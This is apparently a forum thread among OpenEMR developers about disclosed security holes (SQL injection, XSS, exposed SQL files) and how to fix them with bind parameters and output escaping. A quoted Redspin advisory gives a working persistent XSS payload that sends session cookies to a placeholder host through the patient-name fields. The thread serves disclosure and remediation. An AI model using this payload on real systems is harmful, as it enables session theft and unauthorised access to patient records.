Can we for the moment separate these into two issues; available from the internet and not? Just thinking out loud and based on ignorance rather than knowledge. But for most practices, is not the firewall settings of requiring the same subnet the biggest barrier to external or malicious intent? Most of we and they are not really concerned about attacks of the nature DOD might expect. We just want to, for the moment at least, assure we meet HIPAA security while still providing the best medical care we can. Paper is obviously not liable to internet attacks, but it is also hardly possible to protect from the far more likely mis-file or fire/flood/coffee disaster risks.
Not to diminish the real risks, just to keep perspective as we address these, like we address every other issue we discover.
As long as users utilize signed client certificates on the internet, should be ok (since leverageing the security of apache to even get to the site).
I think it's mostly an issue of scalability. For example, in your clinic(s) that your supporting, having several well trusted employees is fine. But what happens when you gain more employees, so more people now have access to OpenEMR. One bad seed can then do bad things. At this point, the goal is to make this information as open as possible so users know about it. At some point when resources become available can then start to tackle these vulnerabilities.
-brady
-brady
If you would like to refer to this comment somewhere else in this project, copy and paste the following link:
Security vulnerabilities are rampant among Electronic Health Records. We are not the only project with these problems. The commercial vendors have this also they just don't talk about it in public like we do.
A number of the companies helping with the Meaningful Use project intend to support medical practices as a hosted service. This takes the worry out of small practices who do not have IT support on staff. To do this OpenEMR will need to become more secure. And just because you keep your instance of OpenEMR on a closed network don't think that this makes you perfectly safe. If an attacker gets through all your well laid defenses they can and will attack you on a closed network.
I had the misfortune of being attacked on my LAN about 6 years ago. I noticed in the middle of the afternoon that my laptop would "freeze up" for about an hour. This was associated with a very large amount of network traffic that was very usual for my LAN. I was able to track down the problem and discovered that an attacker had taken control of my very expensive, commercial, firewall and was running nmap port scans on my internal network using the firewall as his "work station." I unplugged the firewall and completely changed to an open source firewall and started running my own separate device. I called our State Bureau of Investigation. Several years later an employee of the ISP vendor told me that the attacked had taken control of the ISP vendor's DNS server and had attacked me successfully from the only IP that I could not block to get internet access. So I know this can happen and it is really scary when it does. For those who are interested I have maligned this ISP vendor on these forums before. I haven't had any more successful attacks (to my knowledge) since I started running open source firewalls.
I was invited by Dr. Laurie Williams of North Carolina State University to participate in a ONC "SHARP" grant proposal to work on these security issues from "end-to-end." The entire connection of an Electronic Health Record to an HIE to a Hospital needs to be secured. Dr. Laurie Williams is the professor at NCSU that ran the security scna against OpenEMR that Brady found and quoted earlier. She picked OpenEMR to work with as "best-of-breed" open source Electronic Health Record. This type of grant takes a lot of time and energy to get written and it takes a long time to actually get approved by the federal government.
The really cool thing is that if Dr. Williams is successful in receiving this grant she plans on helping us also become the "most secure" Electronic Health Record on the planet. Go Dr. Williams! Go NC State!
hey,
Got another email from Realsearch group at NC state whom have been doing testing on OpenEMR's security. They posted security issues on our bug tracker; following artifacts:
We have added the security defects that we found in OpenEMR to the bug tracker. The bugs are:
2987498
2987499
2987500
2987501
2987502
2987504
2987505
2987507
any thoughts?
-brady
If you would like to refer to this comment somewhere else in this project, copy and paste the following link:
2987498 -> Can be mitigated by setting a reasonable script execution time in php.ini
2987499 -> This is less an issue with Open EMR than it is with PDF. Since several medical devices produce PDFs natively this "vulnerability" may be something that has to be lived with. The idea of scanning for java is good idea but must be an optional setting. Example: A practice's x-ray produces a PDF with java controls, then the practice can turn off this feature to allow the attachment of the xray to the patients record.
2987500&2987507& 2987502&2987501&2987504: I consider these bugs very high priority. These are 'critical'.
These bugs allow an attacker a great deal of latitude and the ability to get to patient records without authorization. We mitigate this by SOME degree by having the server on site and requiring a VPN connection into the network to get to OpenEMR. That only reduces the risk. If a user must use a publicly accessible server, then I would suggest using iptables with a VPN (or a firewall solution that provides that functionality) to restrict access to the application. _
2987505: I believe this is expected behavior.
Respectfully, _
If you would like to refer to this comment somewhere else in this project, copy and paste the following link:
>Regarding the VPN, isn't another option to simply force client ssl certificates to access site via apache?
No - it doesn't do the same thing. The idea with the VPN is to restrict who can get to the application from outside the primary location. SSL doesn't restrict who can get to the login page or the application, but encrypts data to and from client/server. VPN is an added layer of security that requires credentials separate from the credentials required for OpenEMR just to get to the login page. The idea here is to keep the pool of users to a small trusted group. The security issues still remain, but the people using the application are less likely to exploit them.
>Can we close off the sql-injection attacks that use the patient id's by simply casting these variables to an int() ?
No - we need to sanitize all of the inputs correctly. Changing patient id's to int() merely obfuscates the data, it doesn't change the underlying attack vector.
If you would like to refer to this comment somewhere else in this project, copy and paste the following link:
cluge, I don't think you understood that Brady's question concerned *client* ssl certificates. These will authenticate the client to the server. I.e. if you do not have the correct client certificate, the you can't even make the HTTPS connection. A VPN is overkill if the only thing you're accessing remotely is a web server.
Rod
www.sunsetsystems.com
If you would like to refer to this comment somewhere else in this project, copy and paste the following link:
I don't like using CLIENT SSL certificates do to the management issue. If someone is fired, one must either recreate the cert for all users (if they reuse the same cert) or revoke the certificate in question (ie when you issue unique certs per user). Building self signed cert for every user and getting the cert sent to and installed is a pain in the butt. Whereas with a VPN I just add/remove the user from the user database. In a small static environment client side SSL may be fine, but the larger the userbase, the more cumbersome it becomes unless you've automated it.
PPTP is supported by every client imaginable, is simple to set up, and lightweight on the server. It even allows me to restrict or monitor internet traffic while the client is using openemr. In my world, setting up a CA, creating and managing the keys required to use a client side certificate is overkill ;) That being said - it will work, and provide the most of the same mitigation as a VPN.
cluge
If you would like to refer to this comment somewhere else in this project, copy and paste the following link:
hey,
Got the following email regarding a security issue (I directed the author to this forum and asked him to put a bug report in our tracker):
Hello Brady,
My name is David Shaw and I am a security engineer at Redspin, Inc.
While using your software, I noticed that there are some security problems (including session-stealing cross-site scripting) that should be fixed. I have written up these problems into an advisory, which is attached to this email.
Thank you for your time,
David Shaw
Redspin Security Notice - RSN-2010-01
Multiple vulnerabilities in OpenEMR Electronic Medical Record Software
Overview
Quote from http://www.oemr.org/
OpenEMR is a free medical practice management, electronic medical records,
prescription writing, and medical billing application. These programs are also
referred to as electronic health records. OpenEMR is licensed under the General
Gnu Public License (General GPL). It is a free open source replacement for
medical applications such as Medical Manager, Health Pro, and Misys. It features
support for EDI billing to clearing houses such as Availity, MD-Online, MedAvant
and ZirMED using ANSI X12.
Description
Two issues were discovered with the OpenEMR standard installation.
Primarily, there exists a persistent cross-site scripting (XSS) attack vector,
in which a patient may be maliciously named in a way that will send session data
to a third party web host.
Additionally, certain directories (including SQL configurations) are world
readable which results in sensitive information disclosure.
Details
Vulnerable Product : OpenEMR 3.2
Vulnerability Type : Session-stealing XSS & Directory Listing
Discovered by : David Shaw (dshaw@redspin.com)
Timeline
Bug Discovered : May 14, 2010
Vendor Advised : --
Additional info sent : --
Vendor Response : --
Vendor recontacted : --
Vendor Response : --
Public Disclosure : --
Analysis
Due to an incorrectly sanitized input in the "patient name" field, it is
possible to create a malformed patient name that will translate into a
persistent cross site scripting exploit.
Due to the nature of the form, "First Name" and "Last Name" are reversed in the
resulting output. As such, the Javascript injection must start on "last name"
and continue on to "first name."
Furthermore, there is a comma in between these two outputs which must be taken
into account by inserting Javascript comments between the two injections. A
working demonstration of this persistent XSS is available in the "Proof of
Concept" section of this notice.
In addition to the cross-site scripting vulnerability, certain sensitive
directories are open by default and world-readable. For example, the
database.sql file may be read at http://server/openemr/sql/database.sql
Once logged into OpenEMR, navigate to Management->New/Search. The resulting
menu will have form inputs for patient information. The malicious
input is as follows:
The resulting statement in the output is:
<script>
var C=document.cookie;
var I=new Image;
/*, */
I.src='http://SERVER.IP/'+encodeURI(C);
</script>
When this patient has been inserted, it will show up as a blank name in the
patient database. However, when any user attempts to search for a patient
or view the list of existing patients, his session ID is sent (silently)
to web server logs (in this case, to SERVER.IP).
Bug #2: Directory Listing
~~~~~~~~~~~~~~~~~~~~
Various files containing sensitive information are world-readable.
Furthermore, there is no index.html file in the directory which would deny
enumeration of files.
There are tons more vulnerabilities in other pieces of patient data and other kinds of user-submitted data. It will be months before we have them all dealt with.
To deal with the second problem, there has been a large amount of discussion about adding and improving our index.php files and .htaccess files. I recommend that we make the minimal stop-gap fixes while pondering and working on the longer-term improvements.
If you would like to refer to this comment somewhere else in this project, copy and paste the following link:
Regarding the second problem, I replied that his specific issue was not a problem at all. There are no customizations in the sql
directory; might as well ready the sql directory here on the cvs repository to get the same thing. Kind of funny. That being said, a
global .htaccess file and index.php files in each directory would be useful (more for the case of directorires that carry custom
code or pt info). As I recall, Chris stepped up to look into this: http://sourceforge.net/projects/openemr/forums/forum/202506/topic/3722408
-brady
If you would like to refer to this comment somewhere else in this project, copy and paste the following link:
My thoughts on what do globally for security. There's been discussions interspersed in the forums, so figured would summarize it here. A large multi-component walk through will likely be required that deals with sql-injection (placemakers via Andy's stuff combined with a global input sanitizer to deal with magic quotes), cross-site scripting (using htmlspecialchars() function everywhere), and other loose ends (php register globals being faked). Separately, also dealing with directory security (index.php and .htaccess files) and migrating private files out of web directory.
A code script by script walk through could be done by the following:
1) After the guts of Andy's sql.inc adodb placemaker function tested and work, then can pick a sample script and convert it to the new format.
3) In this script, can then remove all calls/functions that deal with magicquote removal and database escaping since it will be dealt with automatically by above 1 and 2.
5) In this script, ensure all vulnerable screen output gets put through the htmlspecialchars() function.
6) Once it is shown to work in the sample script, then can follow this process throughout the entire codebase.
The above steps would drastically increase the security of OpenEMR and also make it much easier for developers (since in essence removing the confusion of magic quotes and database escaping from the picture). This would also make OpenEMR compatible with other sql database engines.
I recommend we do not expect new developers to follow the above guidelines until the codebase has been refactored. This stuff is complicated and will only frustrate new developers (for an example of this, see: http://sourceforge.net/projects/openemr/forums/forum/202506/topic/3725023 ). We should only expect new code submissions to follow what is currently in the codebase.
-brady
If you would like to refer to this comment somewhere else in this project, copy and paste the following link:
1. First commit works ADODB placement and binding into the sql.inc functions and was based on Andy's stuff. I've put them as separate functions(need to decide whether to separate or combine with original functions). These are really rough but work and are just for proof of concept.
2. Second commit places Stephen's magic quote eraser at the top of the sample script. This function actually does not work; hopefully Stephen can help with that. Something to consider is also trimming all the variables.
3. Third commit wipes all the customized magic quote and database escaping stuff from the sample scripts.
4. Fourth commit converts all the sql calls to the "safe" new sql.inc functions, that use placemakers and binding, in the sample scripts (bye bye sql-injection and database escaping headaches)
5. Fifth commit turns off the fake register globals (an addition by Stephen), so needed to ensure the script calls the POST and GET variables correctly first.
6. Sixth commit is to stop xss attacks (via the htmlspecialchars() function)
So the above essentially:
1. gets rid of sql-injection attacks
2. gets rid of xss attacks attacks
3. developers do not need to worry about magic quotes or database escaping
4. will allow cross-compatibility with other databases (such as postgresql)
Still need to further refine the sql.inc functions and magic quote eraser functions; at that point could then consider a huge multi-developer code walk through.
-brady
If you would like to refer to this comment somewhere else in this project, copy and paste the following link:
Brady, I like the direction this is going. I'm glad to see you playing around with ways to deal with these systemic problems. I think this is a fine approach.
I think your decision to add additional SQL functions with similar names that work with bind parameters is, unfortunately, probably one of the better ways to make the transition. It's not pretty, but it seems reasonable enough. As most of the code grows to start using the new functions, the old ones can be deprecated and eventually removed.
I agree with your approach of wrapping htmlspeciachars() around calls to xl().
There's a lot of work to be done here, and it's not really the very exciting kind. I'm hopeful that I can contribute to it and get it behind us.
If you would like to refer to this comment somewhere else in this project, copy and paste the following link:
Brady, I know you like the GitHub commit comments, so I left a few notes there. (They do have great context, so the messages can be really short.)
I think #3 on your list is impossible to do completely. Undoing magic_quotes_* in a common header and using bind variables as often as possible is good. However, sometimes we can't use bind variables; they can't be used for db object name (e.g. columns or tables) and I'm fairly sure the LBF engine uses user input for names like that.
Oh, the "network" graph on GitHub doesn't ever work for me. Instead qgit and gitk can be used to get a dot-per-commit tree view of the project (or just parts)
Still, I think things are looking good for dealing with these security issues. My thanks go out to Brady and Andy.
If you would like to refer to this comment somewhere else in this project, copy and paste the following link:
Left previous branch security_example on github for easy diff to see revisions.
To review the steps(commits):
1. Place new adodb bind sql.inc functionality
2. Global per-script magic quote reverser
3. Remove custom escape and database preparation functions
4. Convert sql functions to adodb binding
5. Stop faking register globals
6. Avoid xss attacks (via htmlspecialchars())
Details revisions and thoughts:
1. Described above. Just removed a bug. Major issues is whether to combine this into original functions or to keep them separate. The only way we can combine is if we can figure out a way for them to output the same data structures (I'm still researching this, but likely not possible) in order to not break third party customized code. If keep separate, then Stephen has suggested changing the names to *_bind instead of *_safe. All I care about the name is it has a _* at end to make the walk through easier (ie easier to spot the old vs new functions).
2. Described above. Migrated the new mechanism to globals and swiped code from the online php manual (to work with php4 and php5), which seems to work well.
3. Described above. Stephen suggest this may not be possible and to keep the hooks/functions in place. The problem is that this walk through will take months, so can't change these functions all at once. My suggestion is to completely yank them where no longer needed, however use them for when escaping of column names are needed (in the layout code). This still requires a walkthrough (can't automate) to ensure place trim() where needed, and there are several of these escaping mechanisms throughout the codebase.
4. Described above. The sql function names will depend on outcome on number 1, but otherwise is working well.
5. Described above. This functionality already exist, so easy. But requires detailed look at each script to ensure EXTRACT is not needed.
6. Described above. Working well.
The main issues are in step 1, and will require some more research and discussion.
-brady
If you would like to refer to this comment somewhere else in this project, copy and paste the following link:
1. I'm a bit uncomfortable with the functions returning different values (resource/recordset) based on if the array was empty or not. I can imagine cases where I build up a query string and array dynamically and sometimes the array is empty. Can we use something more special (like not an array at all, maybe NULL?) to indicate old behavior? (It would still be the default.)
2. Yes, we need to handle keys. We also might need to handle "magic_quotes_gpc = Off" and "magic_quotes_sybase = On" at the same time. I also wonder if ADOdb handles "magic_quotes_runtime = On". We should document that OpenEMR prefers all those to be off; and probably turn off magic_quotes_runtime when we can.
(Still 2.) Both options have stylistic issues to me. The second one looks a bit better, since it properly recurs into array values.
2 and 3. It would be nice to test/set a global flag that indicated whether we had globally de-magic-ed things. That way, strip_slashes_custom could still work *if* the global fix hadn't been run. add_escape_custom should always just still work; it would only be used in code that hadn't been converted to ADOdb, yet. I still think there's little reason to "fix" code that is not broken.
4. Again, I don't like "fix"ing things that aren't broken. The vast majority of these calls are already safe. They don't need to be converted to new functions unless they are already going to show up as changed/added lines in one of our diffs/patches.
5. Love the change!
6. No real problems.
(Still 6, but off-topic) I noticed a couple of places where you are doing something like xl("stuff") . $and . xl("more stuff"). In general, this is sort of frowned-on for translation. It marks "stuff" and "more stuff" as separate strings to be translated, when really they are part of the same phrase, which could influence the translation. Also, the ordering and punctuation may need to change depending on the language. See the Qt 4.5 i18n document (particularly the linked section) and the GNU gettext manual (particularly section 4.3, the last example in section 4.4, and section 4.6). PHP's printf does support the "%n$" form of argument conversion, so it's probably better than leaning on string concatenation.
If you would like to refer to this comment somewhere else in this project, copy and paste the following link:
Same commits as above (reviewed quickly below):
1. Place new adodb bind sql.inc functionality and document/reorganize function
2. Global per-script magic quote reverser
3. Remove custom escape and database preparation functions
4. Convert sql functions to adodb binding
5. Stop faking register globals
6. Avoid xss attacks (via htmlspecialchars())
1. To avoid myself going insane, I've documented and re-organized all the functions in the script. Stephen, read through the functions and you'll see the beauty of it. Basically any function that pitches out two possible data structure should will always be caught by a function that can handle both data structures. If sql queries are done per the current/previous openemr standards, it will work automatically (this is important to support third party software that breaks the no native mysql call rules). The painful thing was getting it to work with the audit engine (if not done correctly, this has potential to screw up the insert last id stuff which can basically kill the database and explode openemr); I think it's working on my testing, but I'll ask Visolve to take a look at it. I think this is getting close to completion (dependent on Visolve input and feedback).
2. I used option 2 from above and seems to be working fine. If anybody is using sybase or runtime magic quotes… well, that's just natural selection at its best (if needed, can add to this function and can also turn all off in the future .htaccess file). Shouldn't turn this on/off globally for now since the walk through will take months. Better to just turn it on on a per script basis. Remember, we also have smarty code to contend with and that will likely take a modified technique, also going against a global switch. When it's all done, would be easy to make a global switch if wanted and swipe the per script switches. I think this part is pretty much completed (dependent on feedback).
3. No changes here. I'm not gonna touch the functions in options.inc.php, since they will always be useful in certain situations. But there's no reason to wrap variables anymore with these functions if not needed (ie. magic quotes are auto removed or the database inserts are auto-added in binded commands). Pretty much completed (depending on feedback)
4. Per number one; function names do not change, so only changes to calls that include a bind array are needed. Pretty much completed (depending on feedback)
5. No change. Pretty much completed (depending on feedback)
6. No change. Pretty much completed (depending on feedback)
hey,
I was emailed a detailed report by the Realsearch group at NC state of the many security vulnerabilities in OpenEMR. I posted the report on the wiki here:
http://www.openmedsoftware.org/wiki/Active_Projects#Security_Vulnerability_Assessment_and_Fixing
Any security experts around that can summarize this stuff (the extent of the problem along with pointing to what and where things need to be fixed).
-brady
There is also a testing tool that can be used:
http://www.acunetix.com/websitesecurity/cross-site-scripting.htm
We have written some codes and will be happy to share them.
Guys;
Can we for the moment separate these into two issues; available from the internet and not? Just thinking out loud and based on ignorance rather than knowledge. But for most practices, is not the firewall settings of requiring the same subnet the biggest barrier to external or malicious intent? Most of we and they are not really concerned about attacks of the nature DOD might expect. We just want to, for the moment at least, assure we meet HIPAA security while still providing the best medical care we can. Paper is obviously not liable to internet attacks, but it is also hardly possible to protect from the far more likely mis-file or fire/flood/coffee disaster risks.
Not to diminish the real risks, just to keep perspective as we address these, like we address every other issue we discover.
Joe Holzer Idea Man 315-622-9241 im@holzerent.com or joe.im0602x@gmail.com
http://www.holzerent.com or http://www.EMRofCNY.com
hey,
As long as users utilize signed client certificates on the internet, should be ok (since leverageing the security of apache to even get to the site).
I think it's mostly an issue of scalability. For example, in your clinic(s) that your supporting, having several well trusted employees is fine. But what happens when you gain more employees, so more people now have access to OpenEMR. One bad seed can then do bad things. At this point, the goal is to make this information as open as possible so users know about it. At some point when resources become available can then start to tackle these vulnerabilities.
-brady
-brady
Hi Brady,
We will provide the summary of the issues (security vulnerabilities discussed in the given link) and the solution to tackle each issue by next week.
Thanks
ViCarePlus Team
Security vulnerabilities are rampant among Electronic Health Records. We are not the only project with these problems. The commercial vendors have this also they just don't talk about it in public like we do.
A number of the companies helping with the Meaningful Use project intend to support medical practices as a hosted service. This takes the worry out of small practices who do not have IT support on staff. To do this OpenEMR will need to become more secure. And just because you keep your instance of OpenEMR on a closed network don't think that this makes you perfectly safe. If an attacker gets through all your well laid defenses they can and will attack you on a closed network.
I had the misfortune of being attacked on my LAN about 6 years ago. I noticed in the middle of the afternoon that my laptop would "freeze up" for about an hour. This was associated with a very large amount of network traffic that was very usual for my LAN. I was able to track down the problem and discovered that an attacker had taken control of my very expensive, commercial, firewall and was running nmap port scans on my internal network using the firewall as his "work station." I unplugged the firewall and completely changed to an open source firewall and started running my own separate device. I called our State Bureau of Investigation. Several years later an employee of the ISP vendor told me that the attacked had taken control of the ISP vendor's DNS server and had attacked me successfully from the only IP that I could not block to get internet access. So I know this can happen and it is really scary when it does. For those who are interested I have maligned this ISP vendor on these forums before. I haven't had any more successful attacks (to my knowledge) since I started running open source firewalls.
I was invited by Dr. Laurie Williams of North Carolina State University to participate in a ONC "SHARP" grant proposal to work on these security issues from "end-to-end." The entire connection of an Electronic Health Record to an HIE to a Hospital needs to be secured. Dr. Laurie Williams is the professor at NCSU that ran the security scna against OpenEMR that Brady found and quoted earlier. She picked OpenEMR to work with as "best-of-breed" open source Electronic Health Record. This type of grant takes a lot of time and energy to get written and it takes a long time to actually get approved by the federal government.
The really cool thing is that if Dr. Williams is successful in receiving this grant she plans on helping us also become the "most secure" Electronic Health Record on the planet. Go Dr. Williams! Go NC State!
Sam Bowen, MD
http://www.openmedsoftware.org/
hey,
Got another email from Realsearch group at NC state whom have been doing testing on OpenEMR's security. They posted security issues on our bug tracker; following artifacts:
We have added the security defects that we found in OpenEMR to the bug tracker. The bugs are:
2987498
2987499
2987500
2987501
2987502
2987504
2987505
2987507
any thoughts?
-brady
2987498 -> Can be mitigated by setting a reasonable script execution time in php.ini
2987499 -> This is less an issue with Open EMR than it is with PDF. Since several medical devices produce PDFs natively this "vulnerability" may be something that has to be lived with. The idea of scanning for java is good idea but must be an optional setting. Example: A practice's x-ray produces a PDF with java controls, then the practice can turn off this feature to allow the attachment of the xray to the patients record.
2987500&2987507& 2987502&2987501&2987504: I consider these bugs very high priority. These are 'critical'.
These bugs allow an attacker a great deal of latitude and the ability to get to patient records without authorization. We mitigate this by SOME degree by having the server on site and requiring a VPN connection into the network to get to OpenEMR. That only reduces the risk. If a user must use a publicly accessible server, then I would suggest using iptables with a VPN (or a firewall solution that provides that functionality) to restrict access to the application. _
2987505: I believe this is expected behavior.
Respectfully, _
cluge,
Regarding the VPN, isn't another option to simply force client ssl certificates to access site via apache?
-brady
hey,
Can we close off the sql-injection attacks that use the patient id's by simply casting these variables to an int() ?
-brady
>Regarding the VPN, isn't another option to simply force client ssl certificates to access site via apache?
No - it doesn't do the same thing. The idea with the VPN is to restrict who can get to the application from outside the primary location. SSL doesn't restrict who can get to the login page or the application, but encrypts data to and from client/server. VPN is an added layer of security that requires credentials separate from the credentials required for OpenEMR just to get to the login page. The idea here is to keep the pool of users to a small trusted group. The security issues still remain, but the people using the application are less likely to exploit them.
>Can we close off the sql-injection attacks that use the patient id's by simply casting these variables to an int() ?
No - we need to sanitize all of the inputs correctly. Changing patient id's to int() merely obfuscates the data, it doesn't change the underlying attack vector.
cluge, I don't think you understood that Brady's question concerned *client* ssl certificates. These will authenticate the client to the server. I.e. if you do not have the correct client certificate, the you can't even make the HTTPS connection. A VPN is overkill if the only thing you're accessing remotely is a web server.
Rod
www.sunsetsystems.com
Ahh - I did miss understand.
I don't like using CLIENT SSL certificates do to the management issue. If someone is fired, one must either recreate the cert for all users (if they reuse the same cert) or revoke the certificate in question (ie when you issue unique certs per user). Building self signed cert for every user and getting the cert sent to and installed is a pain in the butt. Whereas with a VPN I just add/remove the user from the user database. In a small static environment client side SSL may be fine, but the larger the userbase, the more cumbersome it becomes unless you've automated it.
PPTP is supported by every client imaginable, is simple to set up, and lightweight on the server. It even allows me to restrict or monitor internet traffic while the client is using openemr. In my world, setting up a CA, creating and managing the keys required to use a client side certificate is overkill ;) That being said - it will work, and provide the most of the same mitigation as a VPN.
cluge
hey,
Got the following email regarding a security issue (I directed the author to this forum and asked him to put a bug report in our tracker):
Hello Brady,
My name is David Shaw and I am a security engineer at Redspin, Inc.
While using your software, I noticed that there are some security problems (including session-stealing cross-site scripting) that should be fixed. I have written up these problems into an advisory, which is attached to this email.
Thank you for your time,
David Shaw
Redspin Security Notice - RSN-2010-01
Multiple vulnerabilities in OpenEMR Electronic Medical Record Software
Overview
Quote from http://www.oemr.org/
OpenEMR is a free medical practice management, electronic medical records,
prescription writing, and medical billing application. These programs are also
referred to as electronic health records. OpenEMR is licensed under the General
Gnu Public License (General GPL). It is a free open source replacement for
medical applications such as Medical Manager, Health Pro, and Misys. It features
support for EDI billing to clearing houses such as Availity, MD-Online, MedAvant
and ZirMED using ANSI X12.
Description
Two issues were discovered with the OpenEMR standard installation.
Primarily, there exists a persistent cross-site scripting (XSS) attack vector,
in which a patient may be maliciously named in a way that will send session data
to a third party web host.
Additionally, certain directories (including SQL configurations) are world
readable which results in sensitive information disclosure.
Details
Vulnerable Product : OpenEMR 3.2
Vulnerability Type : Session-stealing XSS & Directory Listing
Discovered by : David Shaw (dshaw@redspin.com)
Timeline
Bug Discovered : May 14, 2010
Vendor Advised : --
Additional info sent : --
Vendor Response : --
Vendor recontacted : --
Vendor Response : --
Public Disclosure : --
Analysis
Due to an incorrectly sanitized input in the "patient name" field, it is
possible to create a malformed patient name that will translate into a
persistent cross site scripting exploit.
Due to the nature of the form, "First Name" and "Last Name" are reversed in the
resulting output. As such, the Javascript injection must start on "last name"
and continue on to "first name."
Furthermore, there is a comma in between these two outputs which must be taken
into account by inserting Javascript comments between the two injections. A
working demonstration of this persistent XSS is available in the "Proof of
Concept" section of this notice.
In addition to the cross-site scripting vulnerability, certain sensitive
directories are open by default and world-readable. For example, the
database.sql file may be read at http://server/openemr/sql/database.sql
Proof of Concept
Bug #1: Persistent Cross-Site Scripting
~~~~~~~~~~~~~~~~~~~~~~~
Once logged into OpenEMR, navigate to Management->New/Search. The resulting
menu will have form inputs for patient information. The malicious
input is as follows:
(First Name): */I.src='http://SERVER.IP/'+encodeURI(C);</script>
(Last Name): <script>var C=document.cookie;var I=new Image; /*
The resulting statement in the output is:
<script>
var C=document.cookie;
var I=new Image;
/*, */
I.src='http://SERVER.IP/'+encodeURI(C);
</script>
When this patient has been inserted, it will show up as a blank name in the
patient database. However, when any user attempts to search for a patient
or view the list of existing patients, his session ID is sent (silently)
to web server logs (in this case, to SERVER.IP).
Bug #2: Directory Listing
~~~~~~~~~~~~~~~~~~~~
Various files containing sensitive information are world-readable.
Furthermore, there is no index.html file in the directory which would deny
enumeration of files.
http://localhost/openemr/sql/
http://localhost/openemr/sql/database.sql
Solution
Will be included after vendor response is received.
I submitted a patch to deal with the patient names. It's at: https://sourceforge.net/tracker/?group_id=60081&atid=493003
There are tons more vulnerabilities in other pieces of patient data and other kinds of user-submitted data. It will be months before we have them all dealt with.
To deal with the second problem, there has been a large amount of discussion about adding and improving our index.php files and .htaccess files. I recommend that we make the minimal stop-gap fixes while pondering and working on the longer-term improvements.
Regarding the second problem, I replied that his specific issue was not a problem at all. There are no customizations in the sql
directory; might as well ready the sql directory here on the cvs repository to get the same thing. Kind of funny. That being said, a
global .htaccess file and index.php files in each directory would be useful (more for the case of directorires that carry custom
code or pt info). As I recall, Chris stepped up to look into this:
http://sourceforge.net/projects/openemr/forums/forum/202506/topic/3722408
-brady
My thoughts on what do globally for security. There's been discussions interspersed in the forums, so figured would summarize it here. A large multi-component walk through will likely be required that deals with sql-injection (placemakers via Andy's stuff combined with a global input sanitizer to deal with magic quotes), cross-site scripting (using htmlspecialchars() function everywhere), and other loose ends (php register globals being faked). Separately, also dealing with directory security (index.php and .htaccess files) and migrating private files out of web directory.
A code script by script walk through could be done by the following:
1) After the guts of Andy's sql.inc adodb placemaker function tested and work, then can pick a sample script and convert it to the new format.
2) In this script can also use Stephens global magic quote cleaner:
https://sourceforge.net/projects/openemr/forums/forum/202506/topic/3729248
3) In this script, can then remove all calls/functions that deal with magicquote removal and database escaping since it will be dealt with automatically by above 1 and 2.
4) In this script, can then ensure the fake globals can be turned off as described here:
http://www.openmedsoftware.org/wiki/Active_Projects#Clean_up_use_of_the_extract.28.29_function_on_post_and_get_variable_.28faking_them_as_globals.29
5) In this script, ensure all vulnerable screen output gets put through the htmlspecialchars() function.
6) Once it is shown to work in the sample script, then can follow this process throughout the entire codebase.
The above steps would drastically increase the security of OpenEMR and also make it much easier for developers (since in essence removing the confusion of magic quotes and database escaping from the picture). This would also make OpenEMR compatible with other sql database engines.
I recommend we do not expect new developers to follow the above guidelines until the codebase has been refactored. This stuff is complicated and will only frustrate new developers (for an example of this, see: http://sourceforge.net/projects/openemr/forums/forum/202506/topic/3725023 ). We should only expect new code submissions to follow what is currently in the codebase.
-brady
hey,
I've completed the above strategy on the language gui script. Placed the commits on my github repository:
http://github.com/bradymiller/openemr/tree/security_example
Even cooler to look at them here (each dot is a commit in security example thread):
http://github.com/openemr/openemr/network
1. First commit works ADODB placement and binding into the sql.inc functions and was based on Andy's stuff. I've put them as separate functions(need to decide whether to separate or combine with original functions). These are really rough but work and are just for proof of concept.
2. Second commit places Stephen's magic quote eraser at the top of the sample script. This function actually does not work; hopefully Stephen can help with that. Something to consider is also trimming all the variables.
3. Third commit wipes all the customized magic quote and database escaping stuff from the sample scripts.
4. Fourth commit converts all the sql calls to the "safe" new sql.inc functions, that use placemakers and binding, in the sample scripts (bye bye sql-injection and database escaping headaches)
5. Fifth commit turns off the fake register globals (an addition by Stephen), so needed to ensure the script calls the POST and GET variables correctly first.
6. Sixth commit is to stop xss attacks (via the htmlspecialchars() function)
So the above essentially:
1. gets rid of sql-injection attacks
2. gets rid of xss attacks attacks
3. developers do not need to worry about magic quotes or database escaping
4. will allow cross-compatibility with other databases (such as postgresql)
Still need to further refine the sql.inc functions and magic quote eraser functions; at that point could then consider a huge multi-developer code walk through.
-brady
Brady, I like the direction this is going. I'm glad to see you playing around with ways to deal with these systemic problems. I think this is a fine approach.
I think your decision to add additional SQL functions with similar names that work with bind parameters is, unfortunately, probably one of the better ways to make the transition. It's not pretty, but it seems reasonable enough. As most of the code grows to start using the new functions, the old ones can be deprecated and eventually removed.
I agree with your approach of wrapping htmlspeciachars() around calls to xl().
There's a lot of work to be done here, and it's not really the very exciting kind. I'm hopeful that I can contribute to it and get it behind us.
Brady, I know you like the GitHub commit comments, so I left a few notes there. (They do have great context, so the messages can be really short.)
I think #3 on your list is impossible to do completely. Undoing magic_quotes_* in a common header and using bind variables as often as possible is good. However, sometimes we can't use bind variables; they can't be used for db object name (e.g. columns or tables) and I'm fairly sure the LBF engine uses user input for names like that.
Oh, the "network" graph on GitHub doesn't ever work for me. Instead qgit and gitk can be used to get a dot-per-commit tree view of the project (or just parts)
Still, I think things are looking good for dealing with these security issues. My thanks go out to Brady and Andy.
hey,
I've completed a quick revision, and some thoughts below.. Placed the commits on my github repository:
http://github.com/bradymiller/openemr/commits/security_example_2
Even cooler to look at them here (each dot is a commit in security example thread):
http://github.com/openemr/openemr/network
Left previous branch security_example on github for easy diff to see revisions.
To review the steps(commits):
1. Place new adodb bind sql.inc functionality
2. Global per-script magic quote reverser
3. Remove custom escape and database preparation functions
4. Convert sql functions to adodb binding
5. Stop faking register globals
6. Avoid xss attacks (via htmlspecialchars())
Details revisions and thoughts:
1. Described above. Just removed a bug. Major issues is whether to combine this into original functions or to keep them separate. The only way we can combine is if we can figure out a way for them to output the same data structures (I'm still researching this, but likely not possible) in order to not break third party customized code. If keep separate, then Stephen has suggested changing the names to *_bind instead of *_safe. All I care about the name is it has a _* at end to make the walk through easier (ie easier to spot the old vs new functions).
2. Described above. Migrated the new mechanism to globals and swiped code from the online php manual (to work with php4 and php5), which seems to work well.
3. Described above. Stephen suggest this may not be possible and to keep the hooks/functions in place. The problem is that this walk through will take months, so can't change these functions all at once. My suggestion is to completely yank them where no longer needed, however use them for when escaping of column names are needed (in the layout code). This still requires a walkthrough (can't automate) to ensure place trim() where needed, and there are several of these escaping mechanisms throughout the codebase.
4. Described above. The sql function names will depend on outcome on number 1, but otherwise is working well.
